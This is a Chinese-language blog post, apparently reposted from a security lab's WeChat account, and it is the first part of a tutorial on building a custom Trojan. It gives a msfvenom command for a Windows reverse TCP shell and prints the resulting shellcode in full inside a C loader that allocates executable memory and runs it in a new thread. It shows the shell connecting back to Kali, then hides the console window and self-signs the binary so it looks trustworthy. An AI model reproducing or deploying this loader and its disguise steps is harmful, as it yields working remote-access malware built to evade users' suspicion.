Customize your own Trojan file-1

admin 2023年3月13日06:26:31评论53 views字数 4880阅读16分16秒阅读模式


介绍


免责声明:


本系列文章提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,如果将其信息做其他用途,由读者承担全部法律及连带责任,本实验室不承担任何法律及连带责任。


本篇文章是定制自己的木马系列的第一篇文章,我们将会使用多种技术来开发自己的木马。


需要用到的东西:


  • Visual Studio

  • Kali Linux

  • Windows靶机


基础知识


我们先使用Kali Linux生成shellcode,命令:


msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.8.113 LPORT=4444 -f c


Customize your own Trojan file-1


首先我们了解下何为shellcode


shellcode是16进制的机器码,由CPU解释操作主要用来获取目标主机上的shell。


shellcode可以分为远程类型和本地类型,取决于攻击者使用shellcode是对本地运行,还是通过其控制远程机器。


shellcode执行


编写代码:

#include <Windows.h>
int main(){ const char shellcode[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52""x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48""x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9""x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41""x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48""x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01""xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48""xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0""xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c""x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0""x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04""x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59""x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48""x8bx12xe9x57xffxffxffx5dx49xbex77x73x32x5fx33""x32x00x00x41x56x49x89xe6x48x81xecxa0x01x00x00""x49x89xe5x49xbcx02x00x11x5cxc0xa8x08x71x41x54""x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5x4c""x89xeax68x01x01x00x00x59x41xbax29x80x6bx00xff""xd5x50x50x4dx31xc9x4dx31xc0x48xffxc0x48x89xc2""x48xffxc0x48x89xc1x41xbaxeax0fxdfxe0xffxd5x48""x89xc7x6ax10x41x58x4cx89xe2x48x89xf9x41xbax99""xa5x74x61xffxd5x48x81xc4x40x02x00x00x49xb8x63""x6dx64x00x00x00x00x00x41x50x41x50x48x89xe2x57""x57x57x4dx31xc0x6ax0dx59x41x50xe2xfcx66xc7x44""x24x54x01x01x48x8dx44x24x18xc6x00x68x48x89xe6""x56x50x41x50x41x50x41x50x49xffxc0x41x50x49xff""xc8x4dx89xc1x4cx89xc1x41xbax79xccx3fx86xffxd5""x48x31xd2x48xffxcax8bx0ex41xbax08x87x1dx60xff""xd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48""x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13""x72x6fx6ax00x59x41x89xdaxffxd5"; PVOID shellcode_exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode); DWORD threadID; HANDLE Thread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID); WaitForSingleObject(Thread, INFINITE);}


我们先来了解下这段代码


VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)


我们需要使用Windows API 的 VirtualAlloc 函数来分配内存,该函数语法为:

LPVOID VirtualAlloc(  [in, optional] LPVOID lpAddress,  [in]           SIZE_T dwSize,  [in]           DWORD  flAllocationType,  [in]           DWORD  flProtect)


参数:

  • [in, optional] lpAddress:要分配的区域的起始地址

  • [in] dwSize:区域的大小,以字节为单位

  • [in] flAllocationType:内存分配的类型,在代码中使用的值为MEM_COMMIT,指定的保留内存页面分配内存费用(来自内存的整体大小和磁盘上的页面文件);MEM_RESERVE则是保留进程的虚拟地址空间范围,而不在内存或磁盘上的页面文件中分配任何实际物理存储。

  • [in] flProtect:要分配的页面区域的内存保护。如果页面正在提交,可以指定任何一个内存保护常量


该函数主要用于在调用进程的虚拟地址空间中保留、提交或更改页面区域的状态,也可以使用 VirtualAllocEx 函数在另一个进程的地址空间中分配内存。


然后我们需要将shellcode填充,这里使用 RtlCopyMemory 将源内存块复制到目标内存块:


RtlCopyMemory(shellcode_exec, shellcode, sizeof shellcode)

接下来我们需要创建一个进程以在调用进程的虚拟地址空间内执行,使用函数 CreateThread 来创建。


DWORD threadID;HANDLE Thread = CreateThread(NULL0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL0, &threadID);


参数:

  • [in, optional] lpThreadAttributes:指向SECURITY_ATTRIBUTES 结构的指针,该结构确定返回的句柄是否可以被子进程继承

  • [in] dwStackSize:堆栈的初始大小,以字节为单位

  • [in] lpStartAddress:指向要由线程执行的应用程序定义函数的指针

  • [in, optional] lpParameter:指向要传递给线程的变量的指针。

  • [in] dwCreationFlags:控制线程创建的标志,在代码中0表示为线程在创建后立即运行

  • [out, optional] lpThreadId:指向接收线程标识符的变量的指针


 然后我们使用 WaitForSingleObject 函数来检测 HANDLE的状态,完整语句为:


DWORD threadID;HANDLE Thread = CreateThread(NULL0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL0, &threadID);WaitForSingleObject(Thread, INFINITE);

编写完毕后,别忘记修改项目属性——运行库为多线程,如图

Customize your own Trojan file-1


否则会爆出该错误导致无法运行


Customize your own Trojan file-1

然后点击上方的生成——生成解决方案,即可编译完成。


Customize your own Trojan file-1


在Windows7上运行该木马文件


Customize your own Trojan file-1


可以看到 Kali Linux 成功接到会话


Customize your own Trojan file-1


"补丁"


1、控制台窗口


在打开木马程序时,我们可以看到会弹出黑色的窗口,实际上是控制台窗口,但是非常容易引起注意,在代码中添加:


#pragma comment(linker,"/subsystem:"Windows" /entry:"mainCRTStartup"")

即可屏蔽控制台窗口弹出


Customize your own Trojan file-1

Customize your own Trojan file-1


2、数字签名


Windows系统和一些浏览器(例如IE,Firefox)使用一种称为数字认证代码的技术来标识软件的发行商,来检查软件没有被病毒影响。如果你的软件没有用数字认证代码签名,用户将会收到一个警告“此软件发行商不能被成功的验证,你是否要继续运行此软件“,很多的用户为了安全起见将放弃对此软件的使用。


点击VS code的工具——命令行——开发者命令提示


Customize your own Trojan file-1


可以直接打开VS code 自带的 makecert 工具


Customize your own Trojan file-1


输入命令:


makecert -r -pe -n "CN=Diy CA" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv DIY.pvk DIY.cer
  • -r:自签名

  • -pe: 将所生成的私钥标记为可导出

  • -n:颁发证书的CA

  • -ss:证书存储名称

  • -sr:存储证书的位置

  • -a:指定签名算法

  • -cy:指定证书类型

  • -sky:指定密钥类型

  • -sv:指定.pvk私钥文件,如果没有就创建一个


Customize your own Trojan file-1


接下来将存储该证书,输入命令:


certutil -user -addstore Root DIY.cer


Customize your own Trojan file-1


接下来使用自己创建的证书给予授权,输入命令:


makecert -pe -n "CN=Diy Cert" -a sha256 -cy end -sky signature -ic DIY.cer -iv DIY.pvk -sv DiyCert.pvk DiyCert.cer


  • -ic:指定颁发者的证书文件

  • -iv:指定颁发者的.pvk私钥文件

  • -sv:指定主题的.pvk私钥文件,如果没有就创建一个


Customize your own Trojan file-1


然后使用Pvk2Pfx工具将 .spc、.cer 和 pvk 文件中包含的公钥和私钥信息复制到个人信息 Exchange ( .pfx) 文件


pvk2pfx -pvk DiyCert.pvk -spc DiyCert.cer -pfx DiyCert.pfx


  • -pvk:指定.pvk文件

  • -spc:指定包含证书文件的名称和扩展名,可以指定.spc或.der

  • -pfx:指定.pfx文件

Customize your own Trojan file-1

最后就是指定木马文件签名了


signtool sign /v /f DiyCert.pfx /t http://timestamp.comodoca.com/authenticode x64/Debug/diy.exe


网址为时间戳服务器用来对文件签名时间,目录则是木马文件的位置,注意不要带有中文


Customize your own Trojan file-1


查看木马文件,可以看到数字签名


Customize your own Trojan file-1


现在木马文件带签名能更加利于伪装,不过笔者不建议伪装成360的。。。


下篇我们将会对木马文件进行添加更功能,如检测是否在虚拟机中等实用的功能。

Customize your own Trojan file-1



本篇文章由Ghost Wolf Lab 编写,严禁未授权转载、复制以供商业行为!










原文始发于微信公众号(Ghost Wolf):Customize your own Trojan file-1

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月13日06:26:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Customize your own Trojan file-1http://cn-sec.com/archives/1232586.html

发表评论

匿名网友 填写信息